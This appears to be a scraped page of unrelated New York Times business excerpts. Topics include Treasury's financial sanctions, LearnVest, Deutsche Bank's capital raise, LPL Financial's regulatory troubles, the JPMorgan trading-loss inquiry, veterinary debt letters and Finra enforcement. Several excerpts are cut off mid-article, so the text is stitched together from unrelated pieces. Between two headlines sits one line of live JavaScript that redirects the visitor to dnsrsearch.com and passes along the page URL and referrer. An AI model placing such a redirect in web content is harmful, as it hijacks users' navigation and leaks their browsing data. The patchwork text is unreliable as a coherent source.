DealBook: Treasury Sells $3 Billion Stake in Ally Financial

DealBook: Pearson to Sell Financial News Group for $623 Million

Off the Shelf: In ‘Treasury’s War,’ Missiles for a Financial Battlefield

Mr. Zarate, now a senior adviser at the Center for Strategic and International Studies, makes a persuasive case that a series of financial weapons developed after 9/11, and used mostly by the Treasury Department, have given the United States opportunities to weaken terrorists and rogue states as never before. He develops that argument by tracing Treasury’s aggressive actions against various American foes over the last decade, whether Al Qaeda, North Korea, Iran, Libya or Saddam Hussein’s Iraq.

For those of us who start feeling drowsy at the very mention of the words “Treasury Department,” this book is an eye-opener. Under Mr. Zarate, and his successors, Treasury quietly built new capabilities that owe less to junk bonds than to James Bond.

“Treasury’s War” chronicles an array of the department’s enforcement efforts, from corralling informal Middle Eastern money-transfer networks useful to Al Qaeda to tracking Saddam’s missing millions. But the heart of the book is the emergence and evolution of Section 311 of the Patriot Act, which allows the Treasury Department to designate any bank in the world as a “primary money-laundering concern” and prevent it from doing business with any American bank.

In today’s financial world, where every bank wants to do business with every other bank, and where New York and the United States dollar remain of paramount importance, “hitting” a bank with a Section 311 order has the effect of transforming it into an overnight pariah. Mr. Zarate cites example after example in which 311’s have all but destroyed rogue banks that had been important conduits for money flows involving, for example, Al Qaeda or Iran.

The genius of Section 311 is that Treasury doesn’t do anything other than apply a financial “scarlet letter.” The actual damage is done by the bank’s peers, which typically refuse to do business with it out of fear that they, too, will be cut off from the financial system. Just the threat of a 311, Mr. Zarate writes, has caused nations as powerful as Russia, and as recalcitrant as Myanmar, to change their money-laundering laws, forcing their banks to conform to international standards. A handful of well-placed 311’s, he says, has put much newfound pressure on governments including North Korea and Iran.

“Geopolitics is now a game best played with financial and commercial weapons,” Mr. Zarate writes. “The new geoeconomic game may be more efficient and subtle than past geopolitical competitions, but it is no less ruthless and destructive.”

The centerpiece of the book, and probably the best example of Section 311’s uses and limitations, is the story of Treasury’s assault, beginning in 2005, on North Korea, which American officials said was involved in activities like counterfeiting and drug trafficking. Mr. Zarate describes how the United States hit one of the banks it linked to North Korea, Banco Delta Asia in Macau, with a 311.

Practically overnight, banks throughout the region, even in China, began turning away or throwing out North Korean government business. By this one simple act, Mr. Zarate writes, “the United States set powerful shock waves into motion across the banking world, isolating Pyongyang from the international financial system to an unprecedented degree.” He adds: “The North Koreans didn’t know what hit them.”

As the depth of its plight sank in, North Korea appeared to panic. First, it fired off a missile into the Pacific, a move that had the additional benefit of freaking out the State Department, which demanded to know what Treasury was up to. Then, Mr. Zarate writes, a North Korean representative contacted the United States, seeking relief from the 311. At the State Department’s insistence, negotiations began in Beijing, and appeared to end when a Chinese bank volunteered to handle a measly $25 million of North Korean money the authorities in Macau had frozen.

Mr. Zarate writes that “the amount of money wasn’t the issue” and that the North Koreans “wanted the frozen assets returned so as to remove the scarlet letter from their reputation.”

Then, he says, something amazing happened. Despite its government’s support of North Korea, the Chinese central bank refused to approve this solution, indicating that it, too, wanted nothing to do with a bank hit by a 311. “Perhaps the most important lesson was that the Chinese could in fact be moved to follow the U.S. Treasury’s lead and act against their own stated foreign policy and political interests,” he writes. “The predominance of American market dominance had leapfrogged traditional notions of financial sanctions.”

Eventually, however, Treasury’s pressure on Pyongyang had to be lifted at the insistence of the State Department, which was far more worried about North Korea’s missiles than its bank accounts. Mr. Zarate deplores the move. “The North Koreans had expertly turned the tables” on the United States, he says. “We were outmaneuvered at the height of international pressure and gave up our leverage.”

Fascinating stuff, I grant you, but not quite a fascinating book. Alas, some decent scene-setting aside, the author often writes like a government bureaucrat. In places, the book reads like a white paper. It also lavishes much praise on just about every official he has dealt with — his bosses and peers are described as “brilliant,” “hard-charging” and “legendary.”

Those quibbles aside, “Treasury’s War” does a fine job of shedding light on a new and significant aspect of international relations that many of us may not be aware of, and that is likely to gain in importance in the years to come. The risk, Mr. Zarate concludes, is that other nations are now learning Treasury’s new tricks, and may eventually find ways to use them against us.

DealBook: Justice Dept. Again Signals Interest to Pursue Financial Crisis Cases

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Your Money: Aiming to Bring Financial Planning to the Masses

If Alexa von Tobel has her way, however, financial advice will be as widely available — and affordable — as any other mass-produced consumer product or service. Think gym memberships. It will become the perfect wedding gift for your best friend, or for adult children after they have their first baby.

As the founder of LearnVest, an online financial advisory that she started four years ago, Ms. von Tobel, 29, repeats these themes several times over the course of a recent meeting to underscore what she has set out to do: deliver comprehensive and conflict-free financial advice to the middle class.

“Financial advice shouldn’t be a luxury,” said Ms. von Tobel, a petite blonde with a big personality, in the company’s loftlike offices in New York. “We want to disrupt the industry.”

If her plan works, she would be among the first to crack the code, using both technology and bona fide certified financial planners — the gold standard among advisers — to make this sort of help more accessible to millions of Americans. Most individuals do not have terribly complex financial lives, nor should they need to spend several thousands of dollars to get the advice they need.

But for LearnVest to succeed, Ms. von Tobel will need to sell its product — one that, let’s face it, feels a little like eating your vegetables — to a vast number of customers across the country.

LearnVest, which started in 2009 as a budgeting Web site directed at women, just received another large round of financing from big-time investors, which will allow it to hire more planners and support staff as well as open a training and adviser hub in Phoenix. The company raised $16.5 million, which comes on top of the nearly $25 million raised since its inception.

The plan is to beef up its operation so it can handle the big distribution partnerships that are in the works, including a potential deal with American Express, one of its new investors. The company has broad plans to provide its newly designed product: a seven-step, customized financial plan. Ms. von Tobel, who dropped out of Harvard Business School to start the company, also said it was working with employers and financial planning firms to sell its program within 401(k)'s.

Most financial planners focus on wealthier people, whom they can charge $1,000 to $3,000 for a financial plan, or collect 1 percent of their assets, on average, to manage their money. In contrast, LearnVest charges a $399 upfront fee and $19 a month, or $608 annually. You can pay less for help on a specific goal, like paying off debt or starting a budget.

Ms. von Tobel, who is represented by William Morris Endeavor, the talent agency, has worked hard to raise the company’s profile — as well as her own — in the world of personal finance, though she has not yet reached Suze Orman status. A book by Ms. von Tobel will be released in December.

At the moment, her company does not have much direct competition, aside from the smattering of unbiased advisers that charge a flat or hourly fee. Several relatively affordable online financial firms have cropped up in recent years — including Betterment, Wealthfront, Flat Fee Portfolios and FutureAdvisor — but their focus is much narrower. These companies help assemble and manage low-cost investment portfolios. But they won’t determine how much you can afford to spend on a mortgage, what sort of life insurance you should buy and whether you should be saving more for a child’s college tuition or your own retirement.

Personal Capital, an online wealth management firm, also combines real advisers with technology, but it, too, focuses on money management and requires a minimum investment of $100,000. NestWise, a unit of LPL Financial, opened last September and probably comes closest to competing directly with LearnVest. It has 23 advisers who use technology to connect with its clients, but not all are certified financial planners. Its most expensive service costs about $825 for the first year and $575 annually thereafter, though it will manage your money for about 1 percent of your assets, in addition to the cost of the underlying investments.

So what do you get at LearnVest for $19 a month? Since the company became a registered investment adviser last year, it can now offer investment advice. Ms. von Tobel says she is ripping a page from Weight Watchers’ playbook with the most recent version of its service: a seven-step action plan, which begins with a diagnostic call that typically lasts 45 to 90 minutes. “You can be someone who is extremely sophisticated with millions of dollars or a doctor with $200,000 in debt,” said Ms. von Tobel, who became a financial adviser earlier this year. “But you should still go through this process.”

(So far, most customers are college-educated people between 25 and 55 with incomes of $70,000 or more.)

The advisers save time by leaning heavily on the company’s technology: a planner could see where you overspent on dinner the night before by viewing your online profile.

Lincoln Financial Hires Morgan Lewis Partner to Head Business Law Unit

Lincoln Financial Group has hired a new head of business law and compliance in its Radnor, Pa.-based law department.Former Morgan, Lewis & Bockius partner James DelBello has joined Lincoln Financial and will serve as senior vice president and head of business law and compliance.

DealBook: Deutsche Bank’s Shares Rise as Its Leaders Look Past Financial Crisis

Boris Roessler/DPA, via Agence France-Presse — Getty ImagesJürgen Fitschen, left, and Anshu Jain, co-chiefs of Deutsche Bank of Germany.

4:58 p.m. | Updated FRANKFURT — Shares in Deutsche Bank rose for a second day after the bank sold 2.96 billion euros ($3.87 billion) in new stock on Tuesday to help it bolster the size of its capital reserves.

Deutsche Bank has long faced criticism that its capital buffers, the money that banks set aside to absorb losses in a crisis, were inadequate and that it carried too much risk from derivatives and other volatile investment banking products.

But since taking over last year, Anshu Jain and Jürgen Fitschen, the bank’s co-chief executives, have been hoarding profit and selling assets to raise the proportion of capital to money at risk. Bank officials insisted that the share sale was not done in response to pressure from regulators in Europe or the United States.

“It was our decision,” Mr. Jain said on Tuesday during a conference call with analysts. “There was no gun to the head.”

Still, the move will go a long way toward ending the bank’s reputation as one of Europe’s riskiest and least-capitalized lenders. The new capital will allow it to rank near the top among large European banks in the size of its reserves, rather than near the bottom, and to comfortably meet new regulatory requirements.

The bank also raised more than it aimed for when it first announced the share sale on Monday. Institutional investors paid 32.90 euros a share for the new equity, Deutsche Bank said, a discount to the market price in Frankfurt on Tuesday of 35.03 euros.

Shares of Deutsche Bank, the largest German lender, rose 5 percent in New York trading on Tuesday on expectations that the share sale will clear the way for higher dividend payments, even though an increase in the number of shares lowers each shareholder’s cut of profits.

Mr. Jain and Stefan Krause, the bank’s chief financial officer, portrayed the share issue as a turning point that would set the stage for the bank to focus less on its baggage from the financial crisis and more on growth and profit.

“We could see where a capital raise would bring us to the point where the capital issue was off the table,” Mr. Jain said.

European banks have as a rule taken longer to put the financial crisis behind them than American banks. The European lenders have had to deal with the burden of euro zone debt, but they also faced less pressure from regulators to confront their problems. Lately, though, there have been signs that some of the bigger banks are returning to health.

Investors had other good news to cheer from the bank this week. On Monday, the bank reported that net profit in the first quarter rose nearly 18 percent, to 1.66 billion euros, from 1.41 billion euros in the period a year earlier.

Though revenue rose a modest 2 percent, to 9.4 billion euros, the bank was able to cut costs. Mr. Krause said on the conference call that the bank expected to save about a billion euros over the full year.

Some analysts were still cautious about the bank’s long-term prospects. The bank faces uncertainty over the European economy, which is stuck in recession. It also continues to address an array of legal proceedings that could be costly to resolve.

“Whilst we still see risks from litigation, regulation and the macro environment, the strengthened capital position should put the group in a better position to deal with these challenges going forward,” analysts at Credit Suisse wrote in a note to clients. Credit Suisse upgraded Deutsche Bank shares to neutral, from underperform.

Deutsche Bank also said it would raise an additional 2 billion euros later in the year in the form of so-called hybrid equity, a form of debt that converts to shares in time of crisis and can thus be counted toward capital. The bank is waiting for German regulators to clarify rules for such instruments before it issues them.

Wealth Matters: Technology’s Impact on the Value of Financial Advice

But is the technology good enough to replace guidance from financial advisers? Or is technology actually good for advisers because they can use it to do their jobs better?

Several new reports look at what technology will mean for an adviser, who, at his or her best, protects people from their worst investment ideas. And that brings up a corollary question: What will this trend, and enormous investment, in technology mean for the clients, the people whose money is at stake?

It seems almost heretical to propose that technology will not make an existing service better. But after reading the reports and talking to advisers who have embraced technology, I was not sure that this emphasis was going to be better for clients.

The report from Accenture looked at how younger clients sought relationships through technology and how advisers had to be available to provide it.

“When we talk to firms, they think social media is a new thing, and they’re trying to control the risk of it,” said Alex Pigliucci, global managing director of the wealth and asset management business at Accenture. “I see these tools as an advantage today. They’re not something to plan for in the next five to 10 years.”

“The Out-of-Sync Advisor,” a report by Deloitte, imagined technology bringing clients who were managing their own money back to advisers and then allowing those advisers to give people with a couple of hundred thousand dollars the type of high-quality advice reserved for people with hundreds of millions of dollars.

Ed Tracy, leader of the wealth management and private banking practice at Deloitte, said this would be possible only if all the clients’ financial information was already in the system so the advisers could spend their time together talking about the clients’ goals.

Fidelity’s annual broker and adviser sentiment index, released late last year, tried to put a dollar amount on all of this: technology-adept advisers who were focused on clients in their 30s and 40s managed, on average, $8 million more than colleagues focused on baby boomers. Their clients also had slightly larger accounts. (Not in the data was how technology contributed directly to this.)

But is there any practical value to investors in this push for more technology? In some areas, yes. In others, it remains to be seen.

Patrick O’Connor, senior vice president for wealth, retirement, portfolio solutions at Raymond James, said some of the best technological innovations reminded him of a recent visit to his new dentist.

Instead of pointing to a murky X-ray and telling him to floss, his dentist wheeled around a monitor that showed his teeth — and the problems with them — from various angles. A bit more brushing here and flossing there, and the image changed to show healthier teeth.

“She was giving me more ownership of my teeth,” Mr. O’Connor said. “I’ve been much more diligent about flossing and paying attention to those areas. Before, I would have ignored her. I’d been lectured to for 10 years.”

Technology, he said, can do much the same thing for investors, showing them how they are doing and the consequences of their spending and saving. The technology also becomes the bearer of bad news, not the adviser. “Instead of saying, ‘Sorry you’re in the red,’ I become the facilitator in getting you from the red to the green,” he said.

And technology can help clients reduce mundane and time-consuming tasks and increase the amount of time they can talk about the things that matter most to them.

“If someone had my data, understood my goals, had buckets in my portfolio and I knew if I was on track or off track and they only spent three hours a year with me, I’d feel a lot better than I would with someone I sat down with who said, ‘Tell me what’s going on,’ ” Mr. Tracy said.

As LPL Financial Expands, Scrutiny of Its Practices Intensifies

The company, LPL Financial, has 13,300 brokers, 6,500 offices, 4.3 million customers — and a growing list of problems with regulators.

At a time when many big-name brokerage firms are losing market share, LPL executives in San Diego have guided the company out of obscurity to become the nation’s fourth-largest brokerage firm — after Wells Fargo, Morgan Stanley and Merrill Lynch — and the largest in much of rural America, where it specializes.

Now, as investors weigh whether to jump aboard the stock market’s record-breaking rally, LPL is one of the biggest firms trying to connect them with stocks, bonds and other products. But the low-cost model that has aided LPL’s explosive growth has brought with it shortcomings that point to the difficulties regulators face in overseeing far-flung financial advisers.

As LPL has expanded, state and federal authorities have censured the company and its brokers with unusual frequency. LPL brokers have been penalized for selling complex investments to unsophisticated investors, for speculative trading in customer accounts, and, in a few cases, for outright stealing from clients.

“LPL is on our radar screen more than any other firm,” said Lynne Egan, who oversees securities regulation in Montana. Last fall, Ms. Egan brought a case against LPL, accusing it of failing to supervise a broker. She said her office is preparing to bring another case against the company, involving multiple brokers.

In the last year and a half, state regulators in Illinois, Massachusetts, Montana, Oregon and Pennsylvania have penalized LPL for failing to oversee its brokers properly. Brokers at the company have faced the most common industry reprimand more frequently than brokers at its large competitors since the beginning of 2012, according to a review of data from the Financial Industry Regulatory Authority, or Finra, the industry’s self-regulator.

Executives for the firm declined to comment for this article, but a spokeswoman, Betsy Weinberger, said in a statement that LPL had taken “steps to enhance our overall platform, including investing in our compliance process and oversight capabilities to support our growth. We remain steadfast in our commitment to serving investors and doing the right thing.”

Ms. Weinberger said the company increased its risk and compliance budget 5 percent last year and 11 percent this year.

LPL was created in 1989 through a merger of two older brokerage firms, Linsco, of Boston, and Private Ledger, of San Diego. It grew to national prominence after 2005, when two large private investment firms, TPG Capital and Hellman & Friedman, bought LPL and financed a number of acquisitions from California to New York. LPL went public in 2010, and its stock has been up slightly since then.

LPL’s rapid growth, and the problems that came with it, reflect forces that are changing the way millions of ordinary Americans interact with Wall Street. Since the financial crisis hit in 2008, prominent firms like Merrill, which long catered to individual investors, have lost brokers and customers.

Many investors have turned instead to independent brokerage firms like LPL. Unlike employees of the industry giants, LPL brokers are essentially contractors. They get LPL e-mail addresses and come under LPL compliance but pay for office space and staff.

For LPL and its brokers, it is a lucrative arrangement. With overhead costs relatively low, the company can pass a large percentage of commissions and fees — upward of 80 percent — back to its brokers. LPL has said that such a model is also an advantage for investors because the company does not have its own investment products, like the mutual funds created by the big banks, that it wants to push onto its customers.

But analysts say that the high commissions leave LPL less money for compliance and can attract brokers interested in skirting the rules. Brad Hintz, an analyst at Sanford C. Bernstein, said that LPL’s management had done a good job expanding the company and improving its compliance technology, allowing brokers with high standards to do well. But he said the scattered nature of its offices was an Achilles’ heel that exposed the company to lawsuits and regulatory risks.

“If the Indians run off the reservations, you have no one guarding the borders,” he said.

This article has been revised to reflect the following correction:

Correction: March 22, 2013

An earlier version of a chart with this article misstated a metric in determining the frequency of regulatory actions. It is the number of regulatory actions per 10,000 advisers, not per 1,000 advisers.

DealBook: JPMorgan Chase Inquiry Reveals Status Quo After Financial Crisis

Daniel Rosenbaum for The New York TimesSenator Carl Levin, Democrat of Michigan.

People have learned their lesson.

We’ve been told that so many times since the near-death experiences of the financial crisis. Bankers and regulators have flipped roles: now it’s the bankers who are cautious and their overseers who are aggressive.

Details of JPMorgan Chase’s multibillion-dollar trading loss — brought to light by a riveting and devastating report from the Senate Permanent Subcommittee on Investigations — demonstrate what a sham that is. Bankers aren’t acting cautious and chastened. Risk managers aren’t in the ascendance on Wall Street. Regulators remain their duped and docile selves.

What we now know about the incident is that, as the cliché has it, the cover-up was worse than the crime. The losses out of the London office weren’t enough to take down the bank. But as they were building, JPMorgan traders fiddled with risk measures and valuations. The bank’s risk managers defended the traders and pooh-poohed the flashing red signals. The bank gave incorrect information to its regulator. Top executives then made misleading statements to shareholders and the public. All the while, the regulator served its typical role of house pet.

As JPMorgan got into trouble, traders and the responsible executives treated the valuation of trading positions, made up of derivatives, as a puppet made to do what they wanted. The traders pulled on this calculation or that to change the way they were valuing the position to reduce the losses.

Ina Drew, the head of the bank’s chief investment office, referring to how the positions were calculated, asked an underling if he could “start getting a little bit of that mark back.” She then asked if he could “tweak at whatever it is I’m trying to show.” She might believe it is exculpatory that she prefaced the comment by saying to do it “if appropriate” and that the tweak should come with “demonstrable data,” but any idiot working for her would know exactly what she meant: create some rationale to manipulate the valuations to make things look better than they really are.

This discussion did not make it into the bank’s internal report on the incident from January. Imagine that.

Yes, Ms. Drew was ousted. But her actions show that what financial executives do postcrisis when faced with trouble is no different than what they did precrisis. In testimony on Friday, in a quiet voice, she deflected blame up to Mr. Dimon and down to her traders, claiming she was kept in the dark.

The Senate report makes it clear that JPMorgan misled shareholders and the public, particularly on its April 13, 2012, conference call.

That call, which makes up a particularly damning portion of the Senate report, featured a haughty Jamie Dimon famously dismissing the problem as a “tempest in a teapot.”

Of course, it was no such squall. In the call, the chief financial officer at the time, Douglas L. Braunstein, made a number of what appear to be misleading statements about the trades. Mr. Braunstein said the trading decisions were made on a very long-term basis, when in fact the traders were shuffling positions almost daily to make profits and then to disastrously “defend” their positions from further losses. Mr. Braunstein reassured investors and analysts in the call that the trades were vetted by the firm’s top risk managers, when they were not (though top officials, including Mr. Dimon, knew about repeated risk-measure breaches).

This means “there was risk oversight” for the office that made the trades, and the trading “positions needed to comply with limits,” a JPMorgan spokesman, Joseph Evangelisti, said. “We were not aware at the time of all the deficiencies in the risk organization” of the trading group.

In the conference call, Mr. Braunstein also said that the trades were “fully transparent to the regulators,” but, in fact, watchdogs didn’t receive any regular reporting of the positions and received specific information only days before the call.

“What Doug said was accurate,” Mr. Evangelisti said. “No one in senior management at that time believed there was a larger problem in the context of the firm’s size and scale.”

In JPMorgan’s internal report, the call receives scant attention. In testimony before Senator Carl Levin, the Michigan Democrat who heads the Senate subcommittee, Mr. Braunstein fell back on the explanation that he was saying what he believed at the time.

Mr. Braunstein wasn’t available for comment, according to the bank.

Maybe regulators will think it notable that the chief financial officer of JPMorgan misled shareholders in his first extensive comments about the trading losses. Don’t hold your breath.

I don’t even expect much to come out of the evidence that the bank misled regulators. The bank stopped giving its regulator, the Office of the Comptroller of the Currency, important information. At one point, the bank told the agency that it was reducing the size of its positions when it was actually increasing those positions, according to the Senate report.

Despite JPMorgan’s smoke screens, the regulators deserve the public humiliation they have received. They were alerted to risk-measure breaches that should have warned them of problems. By April 30, 2012, just weeks after the trading debacle came to light and before any serious investigation, the Office of the Comptroller of the Currency declared the matter closed, according to internal minutes from a meeting. (At Friday’s hearing, officials from the agency disputed that it was, in fact, closed.)

So, yes, people have learned their lessons, the real lessons of the financial crisis. JPMorgan repeated the same misdeeds that other banks successfully pulled off at the height of the financial crisis: mismarking portfolios of assets and misleading the public. This was condoned by regulators. Regulators and prosecutors have been averting their eyes for years from rotted bank assets and rotted bank morals; why would JPMorgan expect any different reaction in this case?

Mr. Dimon and JPMorgan executives have all publicly donned hair shirts to demonstrate their contrition. Mr. Dimon and Mr. Braunstein even took pay cuts, going from earning many millions to some fewer millions.

JPMorgan argues that Mr. Dimon and Mr. Braunstein told regulators and the public only what they believed at the time. Mr. Dimon and Mr. Braunstein made mistakes, but they quickly worked to clean them up, fire those responsible and change their ways. The losses were small relative to the size of the bank and, if anything, demonstrate the strength of JPMorgan’s diversified business. After all, the bank made record earnings last year.

But I suspect that if you dosed JPMorgan executives with Pentothal, they would reveal they believed all of this attention was a media creation and political showboating — still a “tempest in a teapot.”

“Not true,” Mr. Evangelisti, the JPMorgan spokesman, said. “We acknowledged from the outset that we made significant mistakes, and we have repeatedly apologized for them. We do not blame the media or regulators for these issues. This was our fault totally. All we can do now is fix the problems and learn from them.”

As has happened so often in the wake of the financial crisis, we are left with the spectacle of bankers — here the well-compensated Mr. Dimon and Mr. Braunstein — insisting that they were clueless and incompetent, which would shield them from any allegations of intent to defraud.

As for many longtime officials at the Office of the Comptroller of the Currency, they may well think that this was merely a nuanced mistake that calls for nothing more than careful suggestions of remedies that don’t harm the bank too much. The new head of the agency, Thomas J. Curry, has begun to clean house and re-energize the place, but the overhaul that is needed looks too big for one person.

So let’s take a moment to celebrate a handful of American heroes, Mr. Levin and the staff members at the Senate Permanent Subcommittee on Investigations. Because of them, this corruption has come to light. Friday’s hearing served to emphasize how lonely Mr. Levin’s efforts are. Senator John McCain, Republican of Arizona and the new ranking minority member on the committee, did a yeoman’s job of asking a few questions. Senator Ron Johnson, Republican of Wisconsin, made a few incoherent statements using the au courant phrase “too big to fail,” then scuttled out of the hearing. None of the other senators, Democrats and Republicans alike, bothered to show up.

The 78-year-old Mr. Levin, peering over those glasses that seem surgically attached to the tip of his nose, soldiered on.

But let’s imagine what would happen if this report does what the senator hopes and puts pressure on the regulators to finish a simplified and loophole-free Volcker Rule, which would prohibit banks from making bets for their own profit using taxpayer-backed money. Why should we have the slightest confidence that big banks could be persuaded to follow it? And why should we feel reassured that, if they didn’t, regulators could or would enforce it?

We shouldn’t. And we don’t.

Letters: The Financial Future of Veterinarians

The Financial Future of Veterinarians

To the Editor:

“The Vet Debt Trap” (Feb. 24), about the veterinary student debt crisis, hit the nail on the head. It should be required reading for all prospective veterinary students, regardless of age, to temper their passionate pursuit of the profession with a sobering dose of financial realism before they commit.

I am a 28-year veteran of the profession. My demographic of private-practice owners will also suffer the consequences of this vicious debt cycle, since the eventual sale proceeds of our practices represent a significant portion of our potential retirement nest egg. Good luck finding a qualified buyer among our debt-ridden younger colleagues in the next 5 to 10 years and beyond, especially in the face of falling practice revenue. Some newly minted veterinarians won’t be able to qualify for a home mortgage, let alone the financing to buy a practice.

JEFFREY T. KRYSINSKI, D.V.M.

Grosse Pointe, Mich., Feb. 24

•

To the Editor:

The article shed light on a subject that is hugely overlooked and underreported.  Before I applied to veterinary school, it was my understanding that there was a lack of veterinarians, especially in large-animal practice. Now I face the challenge of paying off student debt when jobs are few and far between.

I will most likely have to take an internship that may pay about $26,000 a year — $13 an hour for a 40-hour week, working 50 weeks a year. Considering that an intern may work 60 to 70 hours a week, that’s about $8 an hour. I made more money when I worked shoveling horse manure.

 I entered veterinary school with the best intentions — I love animals and can’t imagine a career that would make me happier. We are all young, starry-eyed animal lovers with dreams of saving lives; we are not accountants or business people. I hope that veterinary schools, the government and, most important, our future clients will take into account the sacrifices we make to live our dreams.

LAUREN PETERSON

Baton Rouge, La., Feb. 26

The writer is a third-year veterinary student at Louisiana State University.

•

To the Editor:

I bought my veterinary practice in 2005, just two years out of school.  And while the economy in my area has not been kind to veterinary practices, I am still here.

But I have seen a change in the face of veterinary medicine, as more pet owners want low-cost, online, do-it-yourself medicine for their pets.  Sometimes I foresee the field becoming a trade, rather than a profession — even as so many veterinarians have student loans to deal with.

It’s hard to compete, and I have had to resort to coupons and lowering my own costs to get business in the door.  I hope that it will be enough to finish paying off my loans.

ANDREA MAYBERRY, D.V.M.

Grove City, Ohio, Feb. 25

The writer is owner of Grove City Veterinary Hospital.

Letters for Sunday Business may be sent to sunbiz@nytimes.com.

Opinion: Financial Collapse: A 10-Step Recovery Plan

Evidence of this forgetting is everywhere. The public has lost interest in the causes of the crisis; many, of course, are just struggling to get by. Unrepentant financiers whine about “excessive” regulation and pay lobbyists to battle every step toward reform. Conservatives bemoan “big government” and yearn to return to laissez-faire deregulation. Higher international standards for bank capital and liquidity have been delayed. I could go on.

Instead, let me try to encapsulate what we must remember about the financial crisis into 10 financial commandments, all of which were brazenly violated in the years leading up to the crisis.

1. Remember That People Forget

Treasury Secretary Timothy F. Geithner lamented last year that before the crisis, “There was no memory of extreme crisis, no memory of what can happen when a nation allows huge amounts of risk to build up.” He was right. As the renegade economist Hyman Minsky knew, it is normal for speculative markets to go to extremes. A key reason, Minsky believed, is that, unlike elephants, people forget. When the good times roll, investors expect them to roll indefinitely. When bubbles burst, they are always surprised.

2. Do Not Rely on Self-Regulation

Self-regulation of financial markets is a cruel oxymoron. We need zookeepers to watch over the animals. The government must not outsource this function to “market discipline” (another oxymoron) or to for-profit companies like credit-rating agencies. The Dodd-Frank Act of 2010 isn’t perfect, but it has the potential to change regulation for the better. But most of its reforms are still being phased in, and as the rules are being drafted, the industry (here and abroad) is fighting them tooth and nail and often prevailing.

3. Honor Thy Shareholders

Boards of public corporations are supposed to protect the interests of shareholders, partly by monitoring the behavior of top executives, who are employees, not emperors. In the years before the crisis, too many directors forgot those responsibilities, and both their companies and the broader public suffered from the malign neglect. Will they now remember? Some will — for a while. But sanctions on directors for poor performance are minimal.

4. Elevate Risk Management

One bitter lesson of the crisis is that, when it comes to risk taking, what you don’t know can hurt you. Too many C.E.O.’s let their subordinates ride roughshod over risk managers, tipping the balance toward greed and away from fear. The primary responsibility for keeping risk-management systems up to snuff rests with top executives and boards of directors. But the Federal Reserve and other regulators are now watching and mustn’t let up.

5. Use Less Leverage

Excessive leverage — otherwise known as over-borrowing — was one of the chief foundations of the house of cards that collapsed so violently in 2008. Overpaid investment “geniuses” used leverage to manufacture extraordinary returns out of ordinary investments. Bankers and investors (not to mention home buyers) deluded themselves into thinking they could earn high returns without assuming big risks. But leverage is like alcohol: a little bit has health benefits, but too much can kill you. The banks’ near-death experiences, plus preparation for higher capital requirements to come, are temporarily keeping them sober. But watch for the binge drinking to return.

6. Keep It Simple, Stupid

Modern finance profits from complexity, because befuddled customers are more profitable ones. But do all those fancy financial instruments actually do the economy any good? Paul A. Volcker, the former Fed chairman, once said the A.T.M. was the only beneficial financial innovation in the recent past. He may have exaggerated, but he had a point. Who needs credit default swaps on collateralized debt obligations, and other such concoctions?

7. Standardize Derivatives and Trade Them on Exchanges

Derivatives acquired a bad name in the crisis. But if they are straightforward, transparent, well collateralized, traded in liquid markets by well-capitalized counterparties and sensibly regulated, derivatives can help investors hedge risks. It is the customized, opaque, “over the counter” derivatives that are the most dangerous — and the ones more likely to serve the interests of the dealers than their customers. Dodd-Frank pushed some derivatives toward greater standardization and transparent trading on exchanges, but not enough. The industry is pushing to keep more derivatives trading out of the sunshine.

8. Keep Things on the Balance Sheet

Before the crisis, some banks took important financial activities off their balance sheets to hide how much leverage they had. But the joke was on them. The crisis revealed that some chief executives were only dimly aware of the off-balance-sheet entities their banks held. These “masters of the universe” hadn’t mastered their own books. Dodd-Frank specifies that “capital requirements shall take into account any off-balance-sheet activities of the company.” That’s a welcome step toward making off-balance-sheet entities safe and rare. Now regulators must make the rule work.

9. Fix Perverse Compensation

Offering traders monumental rewards for success, but a mere slap on the wrist for failure, encourages them to take excessive risks. Chief executives and corporate directors should “claw back” pay when putative gains turn into losses. If they don’t, we may need the heavy hand of government to do it.

10. Watch Out for Consumers

The meek won’t inherit their fair share of the earth if they are constantly being fleeced. What we learned in the crisis is that failure to protect unsophisticated consumers from financial predators can undermine the whole economy. That surprising lesson mustn’t be forgotten. The Consumer Financial Protection Bureau should institutionalize it.

Mark Twain is said to have quipped that while history doesn’t repeat itself, it does rhyme. There will be financial crises in the future, and the next one won’t be a carbon copy of the last. Neither, however, will it be so different that these commandments won’t apply. Financial history does rhyme, but we’re already forgetting the meter.

Alan S. Blinder is a professor of economics and public affairs at Princeton, a former vice chairman of the Federal Reserve and the author of “After the Music Stopped: The Financial Crisis, the Response and the Work Ahead.”

DealBook: Financial Industry Regulatory Authority Plans to Expand Its Focus

Wall Street’s self-regulator is planning to exercise some new muscle.

Richard G. Ketchum, the head of the Financial Industry Regulatory Authority, said in an interview on Tuesday that he would ramp up scrutiny of high-speed trading and a batch of complex products. Finra, Mr. Ketchum said, would take aim at so-called leveraged loans and collateralized loan obligations, along with the potential conflicts that brokerage firms face in pitching their own investments over rivals’ products.

“We’re going to be very focused on conflicts of interest,” said Mr. Ketchum, the chairman and chief executive of Finra. In a statement, Firna added that it would “pursue potential cross-market abuses and refine its surveillance patterns based on new threat scenarios and regulatory intelligence.”

The expanded focus comes as Finra announced on Tuesday that it filed more than 1,500 enforcement actions against financial firms and brokers in 2012, an all-time record for the regulator. Finra, which barred nearly 300 people from the industry, levied more than $100 million in penalties.

“It’s nice to see an upward trajectory,” Mr. Ketchum said.

A private, nonprofit organization, Finra monitors 600,000-plus stockbrokers. The group’s enforcement arm has struggled to shake the perception that brokers and their firms, which pay for Finra’s operations through fees and dispatch representatives to sit on the board, have muzzled the watchdog.

But Finra, Mr. Ketchum noted, is now tracking bigger game. He highlighted the range of cases filed last year, a collection of actions against some of the biggest names on Wall Street. Firna last year sanctioned Citigroup, Morgan Stanley and UBS, among others, for improper sales tactics. Goldman Sachs paid an $11 million fine for failing to keep an eye on its research analysts.

The agency’s enforcement unit, run by J. Bradley Bennett, also waded into the minutiae of Wall Street products, filing cases involving structured investments and leveraged exchange-traded funds. Finra said on Tuesday that the unit could strike a more aggressive tone in 2013, investigating other products and the high-speed trading industry.

“What I like about the cases we brought is the focus on complex products,” Mr. Ketchum said.

Your Money: Even Capitol Hill Gets the Financial Blues

With their salaries of $174,000 (or more for those in leadership roles), senators and members of Congress are paid more than most of us. These days, many of them need enough money in the first place to jump-start their campaigns.

But there have to be some lawmakers who have suffered as much as many of their constituents in the last four years, have changed the way they legislate because of it and learned some lessons worth sharing, right?

Representative Robert Turner, a Republican from New York City, lost his house in a fire after the storm this week. So for him the wound is still raw.

